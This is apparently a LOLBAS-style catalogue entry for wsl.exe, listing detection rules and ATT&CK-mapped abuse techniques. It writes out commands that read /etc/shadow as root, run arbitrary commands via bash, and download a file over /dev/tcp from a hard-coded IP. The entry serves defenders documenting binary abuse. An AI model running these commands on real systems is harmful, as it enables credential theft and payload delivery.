.. /Wsl.exe
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Execute (EXE, CMD)

Windows subsystem for Linux executable

Paths:

C:\Windows\System32\wsl.exe

Resources:

Acknowledgements:

Alex Ionescu (@aionescu)
Matt (@NotoriousRebel1)
Asif Matadar (@d1r4c)
Nasreddine Bencherchali (@nas_bench)
Konrad 'unrooted' Klawikowski

Detections:

Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wsl_lolbin_execution.yml
BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
IOC: Child process from wsl.exe

Execute

Executes calc.exe from wsl.exe
```
wsl.exe -e /mnt/c/Windows/System32/calc.exe
```
Use case
Performs execution of specified file, can be used to execute arbitrary Linux commands.

Privileges required
User

Operating systems
Windows 10, Windows Server 2019, Windows 11

ATT&CK® technique
T1202
Tags
Execute: EXE
Cats /etc/shadow file as root
```
wsl.exe -u root -e cat /etc/shadow
```
Use case
Performs execution of arbitrary Linux commands as root without need for password.

Privileges required
User

Operating systems
Windows 10, Windows Server 2019, Windows 11

ATT&CK® technique
T1202
Tags
Execute: CMD
Executes Linux command (for example via bash) as the default user (unless stated otherwise using -u <username>) on the default WSL distro (unless stated otherwise using -d <distro name>)
```
wsl.exe --exec bash -c "{CMD}"
```
Use case
Performs execution of arbitrary Linux commands.

Privileges required
User

Operating systems
Windows 10, Windows Server 2019, Windows 11

ATT&CK® technique
T1202
Tags
Execute: CMD

Download

Downloads file from 192.168.1.10
```
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
```
Use case
Download file

Privileges required
User

Operating systems
Windows 10, Windows Server 2019, Windows 11

ATT&CK® technique
T1105